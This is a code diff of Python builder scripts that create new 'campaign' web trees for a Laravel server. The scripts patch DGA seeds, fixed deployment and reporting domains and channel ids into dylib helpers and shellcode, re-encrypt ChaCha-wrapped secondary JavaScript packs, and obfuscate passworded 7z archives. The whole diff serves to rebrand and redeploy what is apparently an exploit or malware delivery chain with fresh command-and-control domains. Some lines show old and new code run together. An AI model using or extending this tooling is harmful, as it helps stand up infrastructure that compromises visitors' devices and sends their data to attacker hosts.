"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/... and root/sync.""" return CAMPAIGN_HASH
def set_campaign_id(channel: str) -> str:
"""Point CAMPAIGN_DIR at web/<channel>/ under the current tree root."""
global CAMPAIGN_HASH, CAMPAIGN_DIR
from _channel_patch import validate_channel_id
CAMPAIGN_HASH = validate_channel_id(channel, name="channel id")
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
return CAMPAIGN_HASH
def set_tree_root(root: Path, *, channel: str | None = None) -> Path:
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/<channel>/ and root/sync."""
global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR
root = root.resolve() root = root.resolve()
_TREE_ROOT = root _TREE_ROOT = root
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH if channel is not None:
set_campaign_id(channel)
else:
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
SYNC_DIR = root / "sync" SYNC_DIR = root / "sync"
return root return root
def ensure_tree_layout(root: Path) -> None: def ensure_tree_layout(
camp = root / "web" / CAMPAIGN_HASH root: Path,
*,
channel: str | None = None,
require_campaign: bool = True,
) -> None:
cid = channel or CAMPAIGN_HASH
camp = root / "web" / cid
sync = root / "sync" sync = root / "sync"
if not camp.is_dir() or not sync.is_dir(): missing = []
if require_campaign and not camp.is_dir():
missing.append(f"web/{cid}/")
if not sync.is_dir():
missing.append("sync/")
if missing:
raise SystemExit( raise SystemExit(
f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n" f"missing working tree under {root} (need {', '.join(missing)}).\n"
f"Run first:\n" f"Run first:\n"
f" python3 tools/new_project.py --skip-patch\n"
f"or directly:\n"
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'" f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
) )
+127 -62
View File
@@ -1,19 +1,33 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Reset server/public web/ + sync/ from source/, then patch_all --apply.""" """Build server/public campaign trees: new channel + fixed domains.
Seeds are derived deterministically from the domain lists (not user-facing).
Same domains → same sync/ and same secondary domain patch; only channel differs.
Each run:
- creates web/<channel-id>/
- rebuilds sync/ from source + fixed-domain patch
- leaves other web/<channel>/ dirs intact
"""
from __future__ import annotations from __future__ import annotations
import argparse import argparse
import hashlib
import json
import shutil import shutil
import subprocess import subprocess
import sys import sys
from pathlib import Path from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source" SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public" APPLY_ROOT = LAB_ROOT / "server" / "public"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6" ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]: def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
@@ -27,105 +41,156 @@ def replace_tree(src: Path, dst: Path) -> None:
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}")
if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
"""32-hex seeds stable for a given ordered domain list (pool slots still need seeds)."""
def one(label: str, domains: list[str]) -> str:
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
return hashlib.sha256(material).hexdigest()[:32]
dep_seed = one("deployment", dep)
rep_seed = one("reporting", rep)
if dep_seed == rep_seed:
rep_seed = one("reporting/alt", rep)
return dep_seed, rep_seed
def pick_channel(explicit: str | None, web_root: Path) -> str:
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
while (web_root / channel).exists():
if explicit:
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
channel = gen_channel_id()
return channel
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def main() -> int: def main() -> int:
parser = argparse.ArgumentParser( parser = argparse.ArgumentParser(
description=( description=(
"Copy source/web + source/sync to server/public, then run " "From source/, create server/public/web/<channel-id>/ with fixed "
"patch_all.py --apply --root server/public." "Deployment/Reporting domains. Seeds are derived from domains "
"(no --*-seed / no reuse-sync shortcut)."
) )
) )
parser.add_argument( parser.add_argument(
"--deployment-seed", "--channel-id",
help="optional; forwarded to patch_all (default: random)", help="optional 32-hex channel id (default: random, unique under web/)",
)
parser.add_argument(
"--reporting-seed",
help="optional; forwarded to patch_all (default: random)",
) )
parser.add_argument( parser.add_argument(
"--deployment-domains", "--deployment-domains",
action="append", action="append",
default=[], default=[],
required=True,
help="fixed Deployment hosts (comma-separated or repeatable)", help="fixed Deployment hosts (comma-separated or repeatable)",
) )
parser.add_argument( parser.add_argument(
"--reporting-domains", "--reporting-domains",
action="append", action="append",
default=[], default=[],
required=True,
help="fixed Reporting hosts (comma-separated or repeatable)", help="fixed Reporting hosts (comma-separated or repeatable)",
) )
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print when not using fixed domains (default 5)",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source trees to server/public; do not run patch_all",
)
args = parser.parse_args() args = parser.parse_args()
if bool(args.deployment_domains) != bool(args.reporting_domains): fixed_dep = parse_domain_list(args.deployment_domains, label="deployment")
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") fixed_rep = parse_domain_list(args.reporting_domains, label="reporting")
dep_seed, rep_seed = seeds_from_domains(fixed_dep, fixed_rep)
src_web = SOURCE_ROOT / "web" src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync" src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir(): if not src_campaign.is_dir():
raise SystemExit(f"missing source campaign: {src_web / CAMPAIGN_HASH}") raise SystemExit(f"missing source campaign: {src_campaign}")
if not src_sync.is_dir(): if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}") raise SystemExit(f"missing source sync: {src_sync}")
APPLY_ROOT.mkdir(parents=True, exist_ok=True) APPLY_ROOT.mkdir(parents=True, exist_ok=True)
dst_web = APPLY_ROOT / "web" web_root = APPLY_ROOT / "web"
dst_sync = APPLY_ROOT / "sync" sync_dir = APPLY_ROOT / "sync"
out_root = APPLY_ROOT / "out"
out_root.mkdir(parents=True, exist_ok=True)
web_root.mkdir(parents=True, exist_ok=True)
print("=== reset server/public from source ===") channel = pick_channel(args.channel_id, web_root)
print(f"from: {SOURCE_ROOT}") campaign_dir = web_root / channel
print(f"to: {APPLY_ROOT}/{{web,sync}}")
replace_tree(src_web, dst_web)
replace_tree(src_sync, dst_sync)
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
if args.skip_patch: print("=== new_project ===")
print("skip-patch: done (source copy only)") print(f"channel: {channel}")
return 0 print(f"web dest: {campaign_dir}")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print(f" seeds: derived from domains (stable)")
print()
cmd = [ print("=== copy campaign template ===")
sys.executable, print(f"from: {src_campaign}")
str(TOOLS / "patch_all.py"), print(f"to: {campaign_dir}")
"--apply", copy_campaign_template(campaign_dir)
"--root", print(f"created web/{channel}/")
str(APPLY_ROOT),
"-n", print("=== reset sync from source ===")
str(args.count), replace_tree(src_sync, sync_dir)
] print(f"copied sync/ -> {sync_dir}")
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed] domain_args: list[str] = []
if args.reporting_seed: for item in fixed_dep:
cmd += ["--reporting-seed", args.reporting_seed] domain_args += ["--deployment-domains", item]
for item in args.deployment_domains: for item in fixed_rep:
cmd += ["--deployment-domains", item] domain_args += ["--reporting-domains", item]
for item in args.reporting_domains:
cmd += ["--reporting-domains", item]
print() print()
print("=== patch_all --apply ===") print("=== patch_all --apply ===")
print("+", " ".join(cmd), flush=True) run(
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True) [
sys.executable,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"--channel-id",
channel,
"--deployment-seed",
dep_seed,
"--reporting-seed",
rep_seed,
*domain_args,
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
out_root = APPLY_ROOT / "out"
print() print()
print("=== ready ===") print("=== ready ===")
print(f"web: {dst_web / CAMPAIGN_HASH}") print(f"web: {campaign_dir}")
print(f"sync: {dst_sync}") print(f"sync: {sync_dir}")
print(f"seeds: {out_root / 'seeds.json'}") print(f"channel: {out_root / 'channel.json'}")
print(f"domains: {out_root / 'domains.json'}") print(f"domains: {out_root / 'domains.json'}")
print() print()
print("served by Laravel public:") print("served by Laravel public:")
print(f" /web/{CAMPAIGN_HASH}/support.html") print(f" /web/{channel}/support.html")
print(" /sync/daily.html") print(" /sync/daily.html")
return 0 return 0
+299
View File
@@ -0,0 +1,299 @@
#!/usr/bin/env python3
"""Build server/public campaign trees from source/ with new channel + domains.
Each run creates a new web/<channel-id>/ (32 hex). sync/ is rebuilt only when
Deployment/Reporting domains change (or on first run). Re-running with the same
domains only adds another web/<channel-id>/ and leaves sync/ + prior campaigns.
"""
from __future__ import annotations
import argparse
import json
import shutil
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def replace_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}")
if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def load_json(path: Path) -> dict | None:
if not path.is_file():
return None
return json.loads(path.read_text())
def domains_equal(prev: dict | None, dep: list[str], rep: list[str]) -> bool:
if not prev or prev.get("mode") != "fixed_domains":
return False
return (
prev.get("deployment", {}).get("domains") == dep
and prev.get("reporting", {}).get("domains") == rep
)
def pick_channel(explicit: str | None, web_root: Path) -> str:
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
while (web_root / channel).exists():
if explicit:
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
channel = gen_channel_id()
return channel
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"From source/, create server/public/web/<channel-id>/ with a new "
"channel id and patched secondary packs; rebuild sync/ when domains change."
)
)
parser.add_argument(
"--channel-id",
help="optional 32-hex channel id (default: random, unique under web/)",
)
parser.add_argument("--deployment-seed", help="optional; default: random or reuse")
parser.add_argument("--reporting-seed", help="optional; default: random or reuse")
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print when not using fixed domains (default 5)",
)
parser.add_argument(
"--force-sync",
action="store_true",
help="rebuild sync/ even when domains match the previous project",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source campaign+sync into server/public (no binary patch)",
)
args = parser.parse_args()
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if not args.deployment_domains and not args.skip_patch:
raise SystemExit(
"new_project requires --deployment-domains / --reporting-domains "
"(or --skip-patch for a raw source copy)"
)
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir():
raise SystemExit(f"missing source campaign: {src_campaign}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
APPLY_ROOT.mkdir(parents=True, exist_ok=True)
web_root = APPLY_ROOT / "web"
sync_dir = APPLY_ROOT / "sync"
out_root = APPLY_ROOT / "out"
out_root.mkdir(parents=True, exist_ok=True)
web_root.mkdir(parents=True, exist_ok=True)
channel = pick_channel(args.channel_id, web_root)
campaign_dir = web_root / channel
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
else None
)
fixed_rep = (
parse_domain_list(args.reporting_domains, label="reporting")
if args.reporting_domains
else None
)
prev_domains = load_json(out_root / "domains.json")
prev_seeds = load_json(out_root / "seeds.json")
sync_ready = sync_dir.is_dir() and (sync_dir / "daily.html").is_file()
same_domains = (
fixed_dep is not None
and fixed_rep is not None
and domains_equal(prev_domains, fixed_dep, fixed_rep)
and sync_ready
and not args.force_sync
)
print("=== new_project ===")
print(f"channel: {channel}")
print(f"web dest: {campaign_dir}")
if fixed_dep is not None:
print(f"domains: {'reuse sync (unchanged)' if same_domains else 'rebuild sync'}")
print(f" deployment: {', '.join(fixed_dep)}")
print(f" reporting: {', '.join(fixed_rep)}")
print()
print("=== copy campaign template ===")
print(f"from: {src_campaign}")
print(f"to: {campaign_dir}")
copy_campaign_template(campaign_dir)
print(f"created web/{channel}/")
if args.skip_patch:
if not sync_ready:
print("=== copy sync from source ===")
replace_tree(src_sync, sync_dir)
(out_root / "channel.json").write_text(
json.dumps({"channel_id": channel, "patched": False}, indent=2) + "\n"
)
print("skip-patch: done")
return 0
assert fixed_dep is not None and fixed_rep is not None
py = sys.executable
domain_args: list[str] = []
for item in fixed_dep:
domain_args += ["--deployment-domains", item]
for item in fixed_rep:
domain_args += ["--reporting-domains", item]
if same_domains:
# Reuse seeds so fixed-domain shellcode matches existing sync/.
dep = args.deployment_seed or (prev_seeds or {}).get("deployment_seed")
rep = args.reporting_seed or (prev_seeds or {}).get("reporting_seed")
if not dep or not rep:
raise SystemExit(
"domains unchanged but out/seeds.json missing seeds; "
"pass --deployment-seed/--reporting-seed or --force-sync"
)
print("=== domains unchanged: patch secondary only ===")
print(f"reuse seeds dep={dep} rep={rep}")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"--channel-id",
channel,
*domain_args,
"--root",
str(APPLY_ROOT),
"--apply",
]
)
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": False,
"deployment_seed": dep,
"reporting_seed": rep,
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
else:
print("=== domains new/changed: reset sync + full patch ===")
replace_tree(src_sync, sync_dir)
print(f"copied sync/ -> {sync_dir}")
cmd = [
py,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(APPLY_ROOT),
"--channel-id",
channel,
"-n",
str(args.count),
*domain_args,
]
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
print()
print("=== patch_all --apply ===")
run(cmd)
seeds = load_json(out_root / "seeds.json") or {}
(out_root / "channel.json").write_text(
json.dumps(
{
"channel_id": channel,
"patched": True,
"sync_rebuilt": True,
"deployment_seed": seeds.get("deployment_seed"),
"reporting_seed": seeds.get("reporting_seed"),
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
},
indent=2,
)
+ "\n"
)
print()
print("=== ready ===")
print(f"web: {campaign_dir}")
print(f"sync: {sync_dir} ({'unchanged' if same_domains else 'rebuilt'})")
print(f"channel: {out_root / 'channel.json'}")
print(f"seeds: {out_root / 'seeds.json'}")
print(f"domains: {out_root / 'domains.json'}")
print()
print("served by Laravel public:")
print(f" /web/{channel}/support.html")
print(" /sync/daily.html")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+42 -20
View File
@@ -11,10 +11,12 @@ import subprocess
import sys import sys
from pathlib import Path from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
TOOLS = Path(__file__).resolve().parent TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source" SOURCE_ROOT = LAB_ROOT / "source"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6" ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def gen_seed() -> str: def gen_seed() -> str:
@@ -32,25 +34,28 @@ def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
return {n for n in names if n in skip or n.endswith(".pyc")} return {n for n in names if n in skip or n.endswith(".pyc")}
def ensure_working_tree(root: Path) -> None: def ensure_working_tree(root: Path, channel: str) -> None:
"""If web/sync missing under root, copy from source/ (same as new_project --skip-patch).""" """Ensure sync/ and web/<channel>/ exist (copy from source template if needed)."""
camp = root / "web" / CAMPAIGN_HASH camp = root / "web" / channel
sync = root / "sync" sync = root / "sync"
if camp.is_dir() and sync.is_dir(): src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
return
src_web = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync" src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir() or not src_sync.is_dir(): if not src_camp.is_dir() or not src_sync.is_dir():
raise SystemExit( raise SystemExit(
f"missing working tree and source template.\n" f"missing source template.\n"
f"expected: {src_web / CAMPAIGN_HASH} and {src_sync}" f"expected: {src_camp} and {src_sync}"
) )
print("=== bootstrap working tree from source/ ===") if not camp.is_dir() or not sync.is_dir():
for src, dst in ((src_web, root / "web"), (src_sync, root / "sync")): print("=== bootstrap working tree from source/ ===")
if dst.exists(): if not sync.is_dir():
shutil.rmtree(dst) shutil.copytree(src_sync, sync, symlinks=False, ignore=_ignore_junk)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk) print(f"copied sync/ -> {sync}")
print(f"copied {src.relative_to(LAB_ROOT)} -> {dst}") if not camp.is_dir():
camp.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk)
print(f"copied campaign -> {camp}")
if not camp.is_dir() or not sync.is_dir():
raise SystemExit(f"failed to bootstrap {camp} / {sync}")
print() print()
@@ -63,6 +68,10 @@ def main() -> int:
) )
parser.add_argument("--deployment-seed", help="optional; default: random 32 hex") parser.add_argument("--deployment-seed", help="optional; default: random 32 hex")
parser.add_argument("--reporting-seed", help="optional; default: random 32 hex") parser.add_argument("--reporting-seed", help="optional; default: random 32 hex")
parser.add_argument(
"--channel-id",
help="32-hex channel id for web/<id>/ + type-0x01 embed (default: random)",
)
parser.add_argument( parser.add_argument(
"--deployment-domains", "--deployment-domains",
action="append", action="append",
@@ -83,7 +92,7 @@ def main() -> int:
parser.add_argument( parser.add_argument(
"--apply", "--apply",
action="store_true", action="store_true",
help="write into --root web/ + sync/", help="write into --root web/<channel-id>/ + sync/",
) )
parser.add_argument( parser.add_argument(
"-n", "-n",
@@ -99,8 +108,10 @@ def main() -> int:
if bool(args.deployment_domains) != bool(args.reporting_domains): if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
channel = validate_channel_id(args.channel_id) if args.channel_id else gen_channel_id()
if args.apply and args.root: if args.apply and args.root:
ensure_working_tree(args.root.resolve()) ensure_working_tree(args.root.resolve(), channel)
fixed_mode = bool(args.deployment_domains) fixed_mode = bool(args.deployment_domains)
dep = args.deployment_seed or gen_seed() dep = args.deployment_seed or gen_seed()
@@ -117,6 +128,7 @@ def main() -> int:
{ {
"deployment_seed": dep, "deployment_seed": dep,
"reporting_seed": rep, "reporting_seed": rep,
"channel_id": channel,
"mode": "fixed_domains" if fixed_mode else "dga", "mode": "fixed_domains" if fixed_mode else "dga",
}, },
indent=2, indent=2,
@@ -124,8 +136,9 @@ def main() -> int:
+ "\n" + "\n"
) )
print("=== seeds ===") print("=== seeds / channel ===")
print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}") print(f"mode: {'fixed_domains' if fixed_mode else 'dga'}")
print(f"channel: {channel}")
print(f"deployment: {dep}") print(f"deployment: {dep}")
print(f"reporting: {rep}") print(f"reporting: {rep}")
print(f"saved: {seeds_path}") print(f"saved: {seeds_path}")
@@ -136,6 +149,7 @@ def main() -> int:
py = sys.executable py = sys.executable
apply = ["--apply"] if args.apply else [] apply = ["--apply"] if args.apply else []
root = ["--root", str(args.root.resolve())] if args.root else [] root = ["--root", str(args.root.resolve())] if args.root else []
channel_args = ["--channel-id", channel]
domain_args: list[str] = [] domain_args: list[str] = []
if fixed_mode: if fixed_mode:
for item in args.deployment_domains: for item in args.deployment_domains:
@@ -152,6 +166,7 @@ def main() -> int:
dep, dep,
"--reporting-seed", "--reporting-seed",
rep, rep,
*channel_args,
*domain_args, *domain_args,
*root, *root,
*apply, *apply,
@@ -177,7 +192,6 @@ def main() -> int:
domains_path = out_root / "domains.json" domains_path = out_root / "domains.json"
if fixed_mode: if fixed_mode:
# Prefer MANIFEST from patch_core output
manifest_path = out_root / "sync" / "MANIFEST.json" manifest_path = out_root / "sync" / "MANIFEST.json"
if not manifest_path.is_file(): if not manifest_path.is_file():
manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json" manifest_path = LAB_ROOT / "out" / "sync" / "MANIFEST.json"
@@ -212,8 +226,14 @@ def main() -> int:
domains["mode"] = "dga" domains["mode"] = "dga"
domains_path.write_text(json.dumps(domains, indent=2) + "\n") domains_path.write_text(json.dumps(domains, indent=2) + "\n")
(out_root / "channel.json").write_text(
json.dumps({"channel_id": channel, "patched": True, "sync_rebuilt": True}, indent=2)
+ "\n"
)
print() print()
print("=== final domains ===") print("=== final domains ===")
print(f"channel={channel}")
print(f"deployment seed={dep}") print(f"deployment seed={dep}")
for i, domain in enumerate(domains["deployment"]["domains"], 1): for i, domain in enumerate(domains["deployment"]["domains"], 1):
print(f" {i:03d} {domain}") print(f" {i:03d} {domain}")
@@ -223,6 +243,8 @@ def main() -> int:
print() print()
print(f"seeds: {seeds_path}") print(f"seeds: {seeds_path}")
print(f"domains: {domains_path}") print(f"domains: {domains_path}")
if args.apply and args.root:
print(f"web: {args.root.resolve() / 'web' / channel}")
if not args.apply: if not args.apply:
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.") print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
return 0 return 0
+20 -2
View File
@@ -60,6 +60,19 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes: def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
"""Build passworded 7z; cache by content so py7zr's random salt does not drift runs."""
cache_key = sha256_hex(
member_name.encode("utf-8")
+ b"\0"
+ password.encode("utf-8")
+ b"\0"
+ payload
)
cache_dir = LAB_ROOT / "out" / "7z_cache"
cache_path = cache_dir / cache_key
if cache_path.is_file():
return cache_path.read_bytes()
with tempfile.TemporaryDirectory() as tmp: with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp) root = Path(tmp)
member = root / member_name member = root / member_name
@@ -67,7 +80,11 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
archive = root / "out.7z" archive = root / "out.7z"
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle: with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
handle.write(member, arcname=member_name) handle.write(member, arcname=member_name)
return archive.read_bytes() data = archive.read_bytes()
cache_dir.mkdir(parents=True, exist_ok=True)
cache_path.write_bytes(data)
return data
def extract_daily_config_bytes() -> bytes: def extract_daily_config_bytes() -> bytes:
@@ -139,7 +156,8 @@ def main() -> int:
if args.root: if args.root:
set_tree_root(args.root) set_tree_root(args.root)
ensure_tree_layout(tree_root()) # sync-only: campaign dirs are web/<channel-id>/ and may not match ORIGINAL
ensure_tree_layout(tree_root(), require_campaign=False)
if args.apply: if args.apply:
if not args.root: if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)") raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
+36 -9
View File
@@ -1,5 +1,5 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js.""" """Patch DGA seeds / fixed domains / channel id in type-0x01 and rebuild .min.js."""
from __future__ import annotations from __future__ import annotations
@@ -8,9 +8,11 @@ import json
import shutil import shutil
from pathlib import Path from pathlib import Path
from _channel_patch import patch_channel_in_dylib, validate_channel_id
from _common import ( from _common import (
GROUP_DYLIBS, GROUP_DYLIBS,
LAB_ROOT, LAB_ROOT,
ORIGINAL_CHANNEL_ID,
SECONDARY_KEYS, SECONDARY_KEYS,
SOURCE_ROOT, SOURCE_ROOT,
ensure_tree_layout, ensure_tree_layout,
@@ -28,8 +30,8 @@ import _common
def main() -> int: def main() -> int:
parser = argparse.ArgumentParser( parser = argparse.ArgumentParser(
description=( description=(
"Replace Deployment/Reporting seeds in type-0x01 helpers and " "Replace Deployment/Reporting seeds (and optional fixed domains / channel id) "
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)." "in type-0x01 helpers, then re-encrypt all 10 secondary .min.js."
) )
) )
parser.add_argument( parser.add_argument(
@@ -42,6 +44,13 @@ def main() -> int:
required=True, required=True,
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)", help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
) )
parser.add_argument(
"--channel-id",
help=(
f"new 32-hex channel id written into type-0x01 and used as web/<id>/ "
f"(default: keep {ORIGINAL_CHANNEL_ID})"
),
)
parser.add_argument( parser.add_argument(
"--root", "--root",
type=Path, type=Path,
@@ -55,7 +64,7 @@ def main() -> int:
parser.add_argument( parser.add_argument(
"--apply", "--apply",
action="store_true", action="store_true",
help="also copy outputs into <root>/web/.../", help="also copy outputs into <root>/web/<channel-id>/",
) )
parser.add_argument( parser.add_argument(
"--deployment-domains", "--deployment-domains",
@@ -72,6 +81,11 @@ def main() -> int:
args = parser.parse_args() args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed) dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed) rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
channel = (
validate_channel_id(args.channel_id)
if args.channel_id
else ORIGINAL_CHANNEL_ID
)
fixed_dep = ( fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment") parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains if args.deployment_domains
@@ -86,16 +100,19 @@ def main() -> int:
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither") raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.root: if args.root:
set_tree_root(args.root) set_tree_root(args.root, channel=channel)
ensure_tree_layout(tree_root()) ensure_tree_layout(tree_root(), channel=channel)
else:
_common.set_campaign_id(channel)
if args.apply: if args.apply:
if not args.root: if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)") raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve(): if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first") raise SystemExit("refusing --apply into source/; create a project first")
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary") out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
# re-bind after set_tree_root
campaign_dir = _common.CAMPAIGN_DIR campaign_dir = _common.CAMPAIGN_DIR
meta = json.loads(SECONDARY_KEYS.read_text()) meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta["stems"] stems = meta["stems"]
@@ -121,6 +138,14 @@ def main() -> int:
reporting_seed=rep, reporting_seed=rep,
label=path.name, label=path.name,
) )
if channel != ORIGINAL_CHANNEL_ID:
data = patch_channel_in_dylib(
data,
channel,
old_channel=ORIGINAL_CHANNEL_ID,
expect_hits=1,
label=path.name,
)
patched[group] = data patched[group] = data
print( print(
f"group {group}: patched {path.name} " f"group {group}: patched {path.name} "
@@ -137,7 +162,6 @@ def main() -> int:
group = info["group"] group = info["group"]
key = bytes.fromhex(info["key"]) key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key) wire = encrypt_secondary_minjs(patched[group], key)
# sanity: decrypt back
